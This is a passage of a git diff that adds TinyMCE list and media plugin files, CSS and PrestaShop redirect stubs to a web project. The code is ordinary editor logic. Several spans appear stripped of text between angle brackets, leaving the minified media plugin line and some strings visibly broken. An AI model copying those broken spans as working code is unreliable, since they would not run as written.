tinymce.VK.BACKSPACE) { + var li = getLi(); + if (li) { + var list = ed.dom.getParent(li, 'ol,ul'); + if (list && list.firstChild === li) { + var elements = listElements(list, li); + ed.execCommand("Outdent", false, elements); + ed.undoManager.add(); + return Event.cancel(e); + } + } + } + } + + function fixDeletingEmptyLiInWebkit(ed, e) { + var li = getLi(); + if (e.keyCode === tinymce.VK.BACKSPACE && ed.dom.is(li, 'li') && li.parentNode.firstChild!==li) { + if (ed.dom.select('ul,ol', li).length === 1) { + var prevLi = li.previousSibling; + ed.dom.remove(ed.dom.select('br', li)); + ed.dom.remove(li, true); + var textNodes = tinymce.grep(prevLi.childNodes, function(n){ return n.nodeType === 3 }); + if (textNodes.length === 1) { + var textNode = textNodes[0] + ed.selection.setCursorLocation(textNode, textNode.length); + } + ed.undoManager.add(); + return Event.cancel(e); + } + } + } + + ed.onKeyDown.add(function(_, e) { state = getListKeyState(e); }); + ed.onKeyDown.add(cancelDefaultEvents); + ed.onKeyDown.add(imageJoiningListItem); + ed.onKeyDown.add(createNewLi); + + if (tinymce.isGecko) { + ed.onKeyUp.add(fixIndentedListItemForGecko); + } + if (tinymce.isIE8) { + ed.onKeyUp.add(fixIndentedListItemForIE8); + } + if (tinymce.isGecko || tinymce.isWebKit) { + ed.onKeyDown.add(fixDeletingFirstCharOfList); + } + if (tinymce.isWebKit) { + ed.onKeyDown.add(fixDeletingEmptyLiInWebkit); + } + }, + + applyList: function(targetListType, oppositeListType) { + var t = this, ed = t.ed, dom = ed.dom, applied = [], hasSameType = false, hasOppositeType = false, hasNonList = false, actions, + selectedBlocks = ed.selection.getSelectedBlocks(); + + function cleanupBr(e) { + if (e && e.tagName === 'BR') { + dom.remove(e); + } + } + + function makeList(element) { + var list = dom.create(targetListType), li; + + function adjustIndentForNewList(element) { + // If there's a margin-left, outdent one level to account for the extra list margin. + if (element.style.marginLeft || element.style.paddingLeft) { + t.adjustPaddingFunction(false)(element); + } + } + + if (element.tagName === 'LI') { + // No change required. + } else if (element.tagName === 'P' || element.tagName === 'DIV' || element.tagName === 'BODY') { + processBrs(element, function(startSection, br) { + doWrapList(startSection, br, element.tagName === 'BODY' ? null : startSection.parentNode); + li = startSection.parentNode; + adjustIndentForNewList(li); + cleanupBr(br); + }); + if (li) { + if (li.tagName === 'LI' && (element.tagName === 'P' || selectedBlocks.length > 1)) { + dom.split(li.parentNode.parentNode, li.parentNode); + } + attemptMergeWithAdjacent(li.parentNode, true); + } + return; + } else { + // Put the list around the element. + li = dom.create('li'); + dom.insertAfter(li, element); + li.appendChild(element); + adjustIndentForNewList(element); + element = li; + } + dom.insertAfter(list, element); + list.appendChild(element); + attemptMergeWithAdjacent(list, true); + applied.push(element); + } + + function doWrapList(start, end, template) { + var li, n = start, tmp; + while (!dom.isBlock(start.parentNode) && start.parentNode !== dom.getRoot()) { + start = dom.split(start.parentNode, start.previousSibling); + start = start.nextSibling; + n = start; + } + if (template) { + li = template.cloneNode(true); + start.parentNode.insertBefore(li, start); + while (li.firstChild) dom.remove(li.firstChild); + li = dom.rename(li, 'li'); + } else { + li = dom.create('li'); + start.parentNode.insertBefore(li, start); + } + while (n && n != end) { + tmp = n.nextSibling; + li.appendChild(n); + n = tmp; + } + if (li.childNodes.length === 0) { + li.innerHTML = '
    '; + } + makeList(li); + } + + function processBrs(element, callback) { + var startSection, previousBR, END_TO_START = 3, START_TO_END = 1, + breakElements = 'br,ul,ol,p,div,h1,h2,h3,h4,h5,h6,table,blockquote,address,pre,form,center,dl'; + + function isAnyPartSelected(start, end) { + var r = dom.createRng(), sel; + bookmark.keep = true; + ed.selection.moveToBookmark(bookmark); + bookmark.keep = false; + sel = ed.selection.getRng(true); + if (!end) { + end = start.parentNode.lastChild; + } + r.setStartBefore(start); + r.setEndAfter(end); + return !(r.compareBoundaryPoints(END_TO_START, sel) > 0 || r.compareBoundaryPoints(START_TO_END, sel) <= 0); + } + + function nextLeaf(br) { + if (br.nextSibling) + return br.nextSibling; + if (!dom.isBlock(br.parentNode) && br.parentNode !== dom.getRoot()) + return nextLeaf(br.parentNode); + } + + // Split on BRs within the range and process those. + startSection = element.firstChild; + // First mark the BRs that have any part of the previous section selected. + var trailingContentSelected = false; + each(dom.select(breakElements, element), function(br) { + if (br.hasAttribute && br.hasAttribute('_mce_bogus')) { + return true; // Skip the bogus Brs that are put in to appease Firefox and Safari. + } + if (isAnyPartSelected(startSection, br)) { + dom.addClass(br, '_mce_tagged_br'); + startSection = nextLeaf(br); + } + }); + trailingContentSelected = (startSection && isAnyPartSelected(startSection, undefined)); + startSection = element.firstChild; + each(dom.select(breakElements, element), function(br) { + // Got a section from start to br. + var tmp = nextLeaf(br); + if (br.hasAttribute && br.hasAttribute('_mce_bogus')) { + return true; // Skip the bogus Brs that are put in to appease Firefox and Safari. + } + if (dom.hasClass(br, '_mce_tagged_br')) { + callback(startSection, br, previousBR); + previousBR = null; + } else { + previousBR = br; + } + startSection = tmp; + }); + if (trailingContentSelected) { + callback(startSection, undefined, previousBR); + } + } + + function wrapList(element) { + processBrs(element, function(startSection, br, previousBR) { + // Need to indent this part + doWrapList(startSection, br); + cleanupBr(br); + cleanupBr(previousBR); + }); + } + + function changeList(element) { + if (tinymce.inArray(applied, element) !== -1) { + return; + } + if (element.parentNode.tagName === oppositeListType) { + dom.split(element.parentNode, element); + makeList(element); + attemptMergeWithNext(element.parentNode, false); + } + applied.push(element); + } + + function convertListItemToParagraph(element) { + var child, nextChild, mergedElement, splitLast; + if (tinymce.inArray(applied, element) !== -1) { + return; + } + element = splitNestedLists(element, dom); + while (dom.is(element.parentNode, 'ol,ul,li')) { + dom.split(element.parentNode, element); + } + // Push the original element we have from the selection, not the renamed one. + applied.push(element); + element = dom.rename(element, 'p'); + mergedElement = attemptMergeWithAdjacent(element, false, ed.settings.force_br_newlines); + if (mergedElement === element) { + // Now split out any block elements that can't be contained within a P. + // Manually iterate to ensure we handle modifications correctly (doesn't work with tinymce.each) + child = element.firstChild; + while (child) { + if (dom.isBlock(child)) { + child = dom.split(child.parentNode, child); + splitLast = true; + nextChild = child.nextSibling && child.nextSibling.firstChild; + } else { + nextChild = child.nextSibling; + if (splitLast && child.tagName === 'BR') { + dom.remove(child); + } + splitLast = false; + } + child = nextChild; + } + } + } + + each(selectedBlocks, function(e) { + e = findItemToOperateOn(e, dom); + if (e.tagName === oppositeListType || (e.tagName === 'LI' && e.parentNode.tagName === oppositeListType)) { + hasOppositeType = true; + } else if (e.tagName === targetListType || (e.tagName === 'LI' && e.parentNode.tagName === targetListType)) { + hasSameType = true; + } else { + hasNonList = true; + } + }); + + if (hasNonList &&!hasSameType || hasOppositeType || selectedBlocks.length === 0) { + actions = { + 'LI': changeList, + 'H1': makeList, + 'H2': makeList, + 'H3': makeList, + 'H4': makeList, + 'H5': makeList, + 'H6': makeList, + 'P': makeList, + 'BODY': makeList, + 'DIV': selectedBlocks.length > 1 ? makeList : wrapList, + defaultAction: wrapList, + elements: this.selectedBlocks() + }; + } else { + actions = { + defaultAction: convertListItemToParagraph, + elements: this.selectedBlocks() + }; + } + this.process(actions); + }, + + indent: function() { + var ed = this.ed, dom = ed.dom, indented = []; + + function createWrapItem(element) { + var wrapItem = dom.create('li', { style: 'list-style-type: none;'}); + dom.insertAfter(wrapItem, element); + return wrapItem; + } + + function createWrapList(element) { + var wrapItem = createWrapItem(element), + list = dom.getParent(element, 'ol,ul'), + listType = list.tagName, + listStyle = dom.getStyle(list, 'list-style-type'), + attrs = {}, + wrapList; + if (listStyle !== '') { + attrs.style = 'list-style-type: ' + listStyle + ';'; + } + wrapList = dom.create(listType, attrs); + wrapItem.appendChild(wrapList); + return wrapList; + } + + function indentLI(element) { + if (!hasParentInList(ed, element, indented)) { + element = splitNestedLists(element, dom); + var wrapList = createWrapList(element); + wrapList.appendChild(element); + attemptMergeWithAdjacent(wrapList.parentNode, false); + attemptMergeWithAdjacent(wrapList, false); + indented.push(element); + } + } + + this.process({ + 'LI': indentLI, + defaultAction: this.adjustPaddingFunction(true), + elements: this.selectedBlocks() + }); + + }, + + outdent: function(ui, elements) { + var t = this, ed = t.ed, dom = ed.dom, outdented = []; + + function outdentLI(element) { + var listElement, targetParent, align; + if (!hasParentInList(ed, element, outdented)) { + if (dom.getStyle(element, 'margin-left') !== '' || dom.getStyle(element, 'padding-left') !== '') { + return t.adjustPaddingFunction(false)(element); + } + align = dom.getStyle(element, 'text-align', true); + if (align === 'center' || align === 'right') { + dom.setStyle(element, 'text-align', 'left'); + return; + } + element = splitNestedLists(element, dom); + listElement = element.parentNode; + targetParent = element.parentNode.parentNode; + if (targetParent.tagName === 'P') { + dom.split(targetParent, element.parentNode); + } else { + dom.split(listElement, element); + if (targetParent.tagName === 'LI') { + // Nested list, need to split the LI and go back out to the OL/UL element. + dom.split(targetParent, element); + } else if (!dom.is(targetParent, 'ol,ul')) { + dom.rename(element, 'p'); + } + } + outdented.push(element); + } + } + + var listElements = elements && tinymce.is(elements, 'array') ? elements : this.selectedBlocks(); + this.process({ + 'LI': outdentLI, + defaultAction: this.adjustPaddingFunction(false), + elements: listElements + }); + + each(outdented, attemptMergeWithAdjacent); + }, + + process: function(actions) { + var t = this, sel = t.ed.selection, dom = t.ed.dom, selectedBlocks, r; + + function isEmptyElement(element) { + var excludeBrsAndBookmarks = tinymce.grep(element.childNodes, function(n) { + return !(n.nodeName === 'BR' || n.nodeName === 'SPAN' && dom.getAttrib(n, 'data-mce-type') == 'bookmark' + || n.nodeType == 3 && (n.nodeValue == String.fromCharCode(160) || n.nodeValue == '')); + }); + return excludeBrsAndBookmarks.length === 0; + } + + function processElement(element) { + dom.removeClass(element, '_mce_act_on'); + if (!element || element.nodeType !== 1 || selectedBlocks.length > 1 && isEmptyElement(element)) { + return; + } + element = findItemToOperateOn(element, dom); + var action = actions[element.tagName]; + if (!action) { + action = actions.defaultAction; + } + action(element); + } + + function recurse(element) { + t.splitSafeEach(element.childNodes, processElement); + } + + function brAtEdgeOfSelection(container, offset) { + return offset >= 0 && container.hasChildNodes() && offset < container.childNodes.length && + container.childNodes[offset].tagName === 'BR'; + } + + function isInTable() { + var n = sel.getNode(); + var p = dom.getParent(n, 'td'); + return p !== null; + } + + selectedBlocks = actions.elements; + + r = sel.getRng(true); + if (!r.collapsed) { + if (brAtEdgeOfSelection(r.endContainer, r.endOffset - 1)) { + r.setEnd(r.endContainer, r.endOffset - 1); + sel.setRng(r); + } + if (brAtEdgeOfSelection(r.startContainer, r.startOffset)) { + r.setStart(r.startContainer, r.startOffset + 1); + sel.setRng(r); + } + } + + + if (tinymce.isIE8) { + // append a zero sized nbsp so that caret is restored correctly using bookmark + var s = t.ed.selection.getNode(); + if (s.tagName === 'LI' && !(s.parentNode.lastChild === s)) { + var i = t.ed.getDoc().createTextNode('\uFEFF'); + s.appendChild(i); + } + } + + bookmark = sel.getBookmark(); + actions.OL = actions.UL = recurse; + t.splitSafeEach(selectedBlocks, processElement); + sel.moveToBookmark(bookmark); + bookmark = null; + + // we avoid doing repaint in a table as this will move the caret out of the table in Firefox 3.6 + if (!isInTable()) { + // Avoids table or image handles being left behind in Firefox. + t.ed.execCommand('mceRepaint'); + } + }, + + splitSafeEach: function(elements, f) { + if (tinymce.isGecko && (/Firefox\/[12]\.[0-9]/.test(navigator.userAgent) || + /Firefox\/3\.[0-4]/.test(navigator.userAgent))) { + this.classBasedEach(elements, f); + } else { + each(elements, f); + } + }, + + classBasedEach: function(elements, f) { + var dom = this.ed.dom, nodes, element; + // Mark nodes + each(elements, function(element) { + dom.addClass(element, '_mce_act_on'); + }); + nodes = dom.select('._mce_act_on'); + while (nodes.length > 0) { + element = nodes.shift(); + dom.removeClass(element, '_mce_act_on'); + f(element); + nodes = dom.select('._mce_act_on'); + } + }, + + adjustPaddingFunction: function(isIndent) { + var indentAmount, indentUnits, ed = this.ed; + indentAmount = ed.settings.indentation; + indentUnits = /[a-z%]+/i.exec(indentAmount); + indentAmount = parseInt(indentAmount, 10); + return function(element) { + var currentIndent, newIndentAmount; + currentIndent = parseInt(ed.dom.getStyle(element, 'margin-left') || 0, 10) + parseInt(ed.dom.getStyle(element, 'padding-left') || 0, 10); + if (isIndent) { + newIndentAmount = currentIndent + indentAmount; + } else { + newIndentAmount = currentIndent - indentAmount; + } + ed.dom.setStyle(element, 'padding-left', ''); + ed.dom.setStyle(element, 'margin-left', newIndentAmount > 0 ? newIndentAmount + indentUnits : ''); + }; + }, + + selectedBlocks: function() { + var ed = this.ed + var selectedBlocks = ed.selection.getSelectedBlocks(); + return selectedBlocks.length == 0 ? [ ed.dom.getRoot() ] : selectedBlocks; + }, + + getInfo: function() { + return { + longname : 'Lists', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/lists', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + tinymce.PluginManager.add("lists", tinymce.plugins.Lists); +}()); diff --git a/js/tiny_mce2/plugins/lists/index.php b/js/tiny_mce2/plugins/lists/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/lists/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/media/css/index.php b/js/tiny_mce2/plugins/media/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/media/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/media/css/media.css b/js/tiny_mce2/plugins/media/css/media.css new file mode 100755 index 0000000..fd04898 --- /dev/null +++ b/js/tiny_mce2/plugins/media/css/media.css @@ -0,0 +1,17 @@ +#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } +#hspace, #vspace { width: 50px } +#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } +#flash_base, #flash_flashvars, #html5_altsource1, #html5_altsource2, #html5_poster { width: 240px } +#width, #height { width: 40px } +#src, #media_type { width: 250px } +#class { width: 120px } +#prev { margin: 0; border: 1px solid black; width: 380px; height: 260px; overflow: auto } +.panel_wrapper div.current { height: 420px; overflow: auto } +#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } +.mceAddSelectValue { background-color: #DDDDDD } +#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } +#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } +#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } +#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } +#qt_qtsrc { width: 200px } +iframe {border: 1px solid gray} diff --git a/js/tiny_mce2/plugins/media/editor_plugin.js b/js/tiny_mce2/plugins/media/editor_plugin.js new file mode 100755 index 0000000..37b4320 --- /dev/null +++ b/js/tiny_mce2/plugins/media/editor_plugin.js @@ -0,0 +1 @@ +(function(){var d=tinymce.explode("id,name,width,height,style,align,class,hspace,vspace,bgcolor,type"),h=tinymce.makeMap(d.join(",")),b=tinymce.html.Node,f,a,g=tinymce.util.JSON,e;f=[["Flash","d27cdb6e-ae6d-11cf-96b8-444553540000","application/x-shockwave-flash","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"],["ShockWave","166b1bca-3f9c-11cf-8075-444553540000","application/x-director","http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0"],["WindowsMedia","6bf52a52-394a-11d3-b153-00c04f79faa6,22d6f312-b0f6-11d0-94ab-0080c74c7e95,05589fa1-c356-11ce-bf01-00aa0055595a","application/x-mplayer2","http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701"],["QuickTime","02bf25d5-8c17-4b23-bc80-d3488abddc6b","video/quicktime","http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"],["RealMedia","cfcdaa03-8be4-11cf-b84b-0020afbbccfa","audio/x-pn-realaudio-plugin","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"],["Java","8ad9c840-044e-11d1-b3e9-00805f499d93","application/x-java-applet","http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"],["Silverlight","dfeaf541-f3e1-4c24-acac-99c30715084a","application/x-silverlight-2"],["Iframe"],["Video"],["EmbeddedAudio"],["Audio"]];function c(m){var l,j,k;if(m&&!m.splice){j=[];for(k=0;true;k++){if(m[k]){j[k]=m[k]}else{break}}return j}return m}tinymce.create("tinymce.plugins.MediaPlugin",{init:function(n,j){var r=this,l={},m,p,q,k;function o(i){return i&&i.nodeName==="IMG"&&n.dom.hasClass(i,"mceItemMedia")}r.editor=n;r.url=j;a="";for(m=0;m0){N+=(N?"&":"")+O+"="+escape(P)}});if(N.length){G.params.flashvars=N}K=p.getParam("flash_video_player_params",{allowfullscreen:true,allowscriptaccess:true});tinymce.each(K,function(P,O){G.params[O]=""+P})}}G=z.attr("data-mce-json");if(!G){return}G=g.parse(G);q=this.getType(z.attr("class"));B=z.attr("data-mce-style");if(!B){B=z.attr("style");if(B){B=p.dom.serializeStyle(p.dom.parseStyle(B,"img"))}}if(q.name==="Iframe"){x=new b("iframe",1);tinymce.each(d,function(i){var n=z.attr(i);if(i=="class"&&n){n=n.replace(/mceItem.+ ?/g,"")}if(n&&n.length>0){x.attr(i,n)}});for(I in G.params){x.attr(I,G.params[I])}x.attr({style:B,src:G.params.src});z.replace(x);return}if(this.editor.settings.media_use_script){x=new b("script",1).attr("type","text/javascript");y=new b("#text",3);y.value="write"+q.name+"("+g.serialize(tinymce.extend(G.params,{width:z.attr("width"),height:z.attr("height")}))+");";x.append(y);z.replace(x);return}if(q.name==="Video"&&G.video.sources[0]){C=new b("video",1).attr(tinymce.extend({id:z.attr("id"),width:z.attr("width"),height:z.attr("height"),style:B},G.video.attrs));if(G.video.attrs){l=G.video.attrs.poster}k=G.video.sources=c(G.video.sources);for(A=0;A 0) + flashVarsOutput += (flashVarsOutput ? '&' : '') + name + '=' + escape(value); + }); + + if (flashVarsOutput.length) + data.params.flashvars = flashVarsOutput; + + params = editor.getParam('flash_video_player_params', { + allowfullscreen: true, + allowscriptaccess: true + }); + + tinymce.each(params, function(value, name) { + data.params[name] = "" + value; + }); + } + }; + + data = node.attr('data-mce-json'); + if (!data) + return; + + data = JSON.parse(data); + typeItem = this.getType(node.attr('class')); + + style = node.attr('data-mce-style') + if (!style) { + style = node.attr('style'); + + if (style) + style = editor.dom.serializeStyle(editor.dom.parseStyle(style, 'img')); + } + + // Handle iframe + if (typeItem.name === 'Iframe') { + replacement = new Node('iframe', 1); + + tinymce.each(rootAttributes, function(name) { + var value = node.attr(name); + + if (name == 'class' && value) + value = value.replace(/mceItem.+ ?/g, ''); + + if (value && value.length > 0) + replacement.attr(name, value); + }); + + for (name in data.params) + replacement.attr(name, data.params[name]); + + replacement.attr({ + style: style, + src: data.params.src + }); + + node.replace(replacement); + + return; + } + + // Handle scripts + if (this.editor.settings.media_use_script) { + replacement = new Node('script', 1).attr('type', 'text/javascript'); + + value = new Node('#text', 3); + value.value = 'write' + typeItem.name + '(' + JSON.serialize(tinymce.extend(data.params, { + width: node.attr('width'), + height: node.attr('height') + })) + ');'; + + replacement.append(value); + node.replace(replacement); + + return; + } + + // Add HTML5 video element + if (typeItem.name === 'Video' && data.video.sources[0]) { + // Create new object element + video = new Node('video', 1).attr(tinymce.extend({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }, data.video.attrs)); + + // Get poster source and use that for flash fallback + if (data.video.attrs) + posterSrc = data.video.attrs.poster; + + sources = data.video.sources = toArray(data.video.sources); + for (i = 0; i < sources.length; i++) { + if (/\.mp4$/.test(sources[i].src)) + mp4Source = sources[i].src; + } + + if (!sources[0].type) { + video.attr('src', sources[0].src); + sources.splice(0, 1); + } + + for (i = 0; i < sources.length; i++) { + source = new Node('source', 1).attr(sources[i]); + source.shortEnded = true; + video.append(source); + } + + // Create flash fallback for video if we have a mp4 source + if (mp4Source) { + addPlayer(mp4Source, posterSrc); + typeItem = self.getType('flash'); + } else + data.params.src = ''; + } + + // Add HTML5 audio element + if (typeItem.name === 'Audio' && data.video.sources[0]) { + // Create new object element + audio = new Node('audio', 1).attr(tinymce.extend({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }, data.video.attrs)); + + // Get poster source and use that for flash fallback + if (data.video.attrs) + posterSrc = data.video.attrs.poster; + + sources = data.video.sources = toArray(data.video.sources); + if (!sources[0].type) { + audio.attr('src', sources[0].src); + sources.splice(0, 1); + } + + for (i = 0; i < sources.length; i++) { + source = new Node('source', 1).attr(sources[i]); + source.shortEnded = true; + audio.append(source); + } + + data.params.src = ''; + } + + if (typeItem.name === 'EmbeddedAudio') { + embed = new Node('embed', 1); + embed.shortEnded = true; + embed.attr({ + id: node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style, + type: node.attr('type') + }); + + for (name in data.params) + embed.attr(name, data.params[name]); + + tinymce.each(rootAttributes, function(name) { + if (data[name] && name != 'type') + embed.attr(name, data[name]); + }); + + data.params.src = ''; + } + + // Do we have a params src then we can generate object + if (data.params.src) { + // Is flv movie add player for it + if (/\.flv$/i.test(data.params.src)) + addPlayer(data.params.src, ''); + + if (args && args.force_absolute) + data.params.src = editor.documentBaseURI.toAbsolute(data.params.src); + + // Create new object element + object = new Node('object', 1).attr({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }); + + tinymce.each(rootAttributes, function(name) { + var value = data[name]; + + if (name == 'class' && value) + value = value.replace(/mceItem.+ ?/g, ''); + + if (value && name != 'type') + object.attr(name, value); + }); + + // Add params + for (name in data.params) { + param = new Node('param', 1); + param.shortEnded = true; + value = data.params[name]; + + // Windows media needs to use url instead of src for the media URL + if (name === 'src' && typeItem.name === 'WindowsMedia') + name = 'url'; + + param.attr({name: name, value: value}); + object.append(param); + } + + // Setup add type and classid if strict is disabled + if (this.editor.getParam('media_strict', true)) { + object.attr({ + data: data.params.src, + type: typeItem.mimes[0] + }); + } else { + object.attr({ + classid: "clsid:" + typeItem.clsids[0], + codebase: typeItem.codebase + }); + + embed = new Node('embed', 1); + embed.shortEnded = true; + embed.attr({ + id: node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style, + type: typeItem.mimes[0] + }); + + for (name in data.params) + embed.attr(name, data.params[name]); + + tinymce.each(rootAttributes, function(name) { + if (data[name] && name != 'type') + embed.attr(name, data[name]); + }); + + object.append(embed); + } + + // Insert raw HTML + if (data.object_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.object_html; + object.append(value); + } + + // Append object to video element if it exists + if (video) + video.append(object); + } + + if (video) { + // Insert raw HTML + if (data.video_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.video_html; + video.append(value); + } + } + + if (audio) { + // Insert raw HTML + if (data.video_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.video_html; + audio.append(value); + } + } + + var n = video || audio || object || embed; + if (n) + node.replace(n); + else + node.remove(); + }, + + /** + * Converts a tinymce.html.Node video/object/embed to an img element. + * + * The video/object/embed will be converted into an image placeholder with a JSON data attribute like this: + * + * + * The JSON structure will be like this: + * {'params':{'flashvars':'something','quality':'high','src':'someurl'}, 'video':{'sources':[{src: 'someurl', type: 'video/mp4'}]}} + */ + objectToImg : function(node) { + var object, embed, video, iframe, img, name, id, width, height, style, i, html, + param, params, source, sources, data, type, lookup = this.lookup, + matches, attrs, urlConverter = this.editor.settings.url_converter, + urlConverterScope = this.editor.settings.url_converter_scope, + hspace, vspace, align, bgcolor; + + function getInnerHTML(node) { + return new tinymce.html.Serializer({ + inner: true, + validate: false + }).serialize(node); + }; + + function lookupAttribute(o, attr) { + return lookup[(o.attr(attr) || '').toLowerCase()]; + } + + function lookupExtension(src) { + var ext = src.replace(/^.*\.([^.]+)$/, '$1'); + return lookup[ext.toLowerCase() || '']; + } + + // If node isn't in document + if (!node.parent) + return; + + // Handle media scripts + if (node.name === 'script') { + if (node.firstChild) + matches = scriptRegExp.exec(node.firstChild.value); + + if (!matches) + return; + + type = matches[1]; + data = {video : {}, params : JSON.parse(matches[2])}; + width = data.params.width; + height = data.params.height; + } + + // Setup data objects + data = data || { + video : {}, + params : {} + }; + + // Setup new image object + img = new Node('img', 1); + img.attr({ + src : this.editor.theme.url + '/img/trans.gif' + }); + + // Video element + name = node.name; + if (name === 'video' || name == 'audio') { + video = node; + object = node.getAll('object')[0]; + embed = node.getAll('embed')[0]; + width = video.attr('width'); + height = video.attr('height'); + id = video.attr('id'); + data.video = {attrs : {}, sources : []}; + + // Get all video attributes + attrs = data.video.attrs; + for (name in video.attributes.map) + attrs[name] = video.attributes.map[name]; + + source = node.attr('src'); + if (source) + data.video.sources.push({src : urlConverter.call(urlConverterScope, source, 'src', node.name)}); + + // Get all sources + sources = video.getAll("source"); + for (i = 0; i < sources.length; i++) { + source = sources[i].remove(); + + data.video.sources.push({ + src: urlConverter.call(urlConverterScope, source.attr('src'), 'src', 'source'), + type: source.attr('type'), + media: source.attr('media') + }); + } + + // Convert the poster URL + if (attrs.poster) + attrs.poster = urlConverter.call(urlConverterScope, attrs.poster, 'poster', node.name); + } + + // Object element + if (node.name === 'object') { + object = node; + embed = node.getAll('embed')[0]; + } + + // Embed element + if (node.name === 'embed') + embed = node; + + // Iframe element + if (node.name === 'iframe') { + iframe = node; + type = 'Iframe'; + } + + if (object) { + // Get width/height + width = width || object.attr('width'); + height = height || object.attr('height'); + style = style || object.attr('style'); + id = id || object.attr('id'); + hspace = hspace || object.attr('hspace'); + vspace = vspace || object.attr('vspace'); + align = align || object.attr('align'); + bgcolor = bgcolor || object.attr('bgcolor'); + data.name = object.attr('name'); + + // Get all object params + params = object.getAll("param"); + for (i = 0; i < params.length; i++) { + param = params[i]; + name = param.remove().attr('name'); + + if (!excludedAttrs[name]) + data.params[name] = param.attr('value'); + } + + data.params.src = data.params.src || object.attr('data'); + } + + if (embed) { + // Get width/height + width = width || embed.attr('width'); + height = height || embed.attr('height'); + style = style || embed.attr('style'); + id = id || embed.attr('id'); + hspace = hspace || embed.attr('hspace'); + vspace = vspace || embed.attr('vspace'); + align = align || embed.attr('align'); + bgcolor = bgcolor || embed.attr('bgcolor'); + + // Get all embed attributes + for (name in embed.attributes.map) { + if (!excludedAttrs[name] && !data.params[name]) + data.params[name] = embed.attributes.map[name]; + } + } + + if (iframe) { + // Get width/height + width = iframe.attr('width'); + height = iframe.attr('height'); + style = style || iframe.attr('style'); + id = iframe.attr('id'); + hspace = iframe.attr('hspace'); + vspace = iframe.attr('vspace'); + align = iframe.attr('align'); + bgcolor = iframe.attr('bgcolor'); + + tinymce.each(rootAttributes, function(name) { + img.attr(name, iframe.attr(name)); + }); + + // Get all iframe attributes + for (name in iframe.attributes.map) { + if (!excludedAttrs[name] && !data.params[name]) + data.params[name] = iframe.attributes.map[name]; + } + } + + // Use src not movie + if (data.params.movie) { + data.params.src = data.params.src || data.params.movie; + delete data.params.movie; + } + + // Convert the URL to relative/absolute depending on configuration + if (data.params.src) + data.params.src = urlConverter.call(urlConverterScope, data.params.src, 'src', 'object'); + + if (video) { + if (node.name === 'video') + type = lookup.video.name; + else if (node.name === 'audio') + type = lookup.audio.name; + } + + if (object && !type) + type = (lookupAttribute(object, 'clsid') || lookupAttribute(object, 'classid') || lookupAttribute(object, 'type') || {}).name; + + if (embed && !type) + type = (lookupAttribute(embed, 'type') || lookupExtension(data.params.src) || {}).name; + + // for embedded audio we preserve the original specified type + if (embed && type == 'EmbeddedAudio') { + data.params.type = embed.attr('type'); + } + + // Replace the video/object/embed element with a placeholder image containing the data + node.replace(img); + + // Remove embed + if (embed) + embed.remove(); + + // Serialize the inner HTML of the object element + if (object) { + html = getInnerHTML(object.remove()); + + if (html) + data.object_html = html; + } + + // Serialize the inner HTML of the video element + if (video) { + html = getInnerHTML(video.remove()); + + if (html) + data.video_html = html; + } + + data.hspace = hspace; + data.vspace = vspace; + data.align = align; + data.bgcolor = bgcolor; + + // Set width/height of placeholder + img.attr({ + id : id, + 'class' : 'mceItemMedia mceItem' + (type || 'Flash'), + style : style, + width : width || (node.name == 'audio' ? "300" : "320"), + height : height || (node.name == 'audio' ? "32" : "240"), + hspace : hspace, + vspace : vspace, + align : align, + bgcolor : bgcolor, + 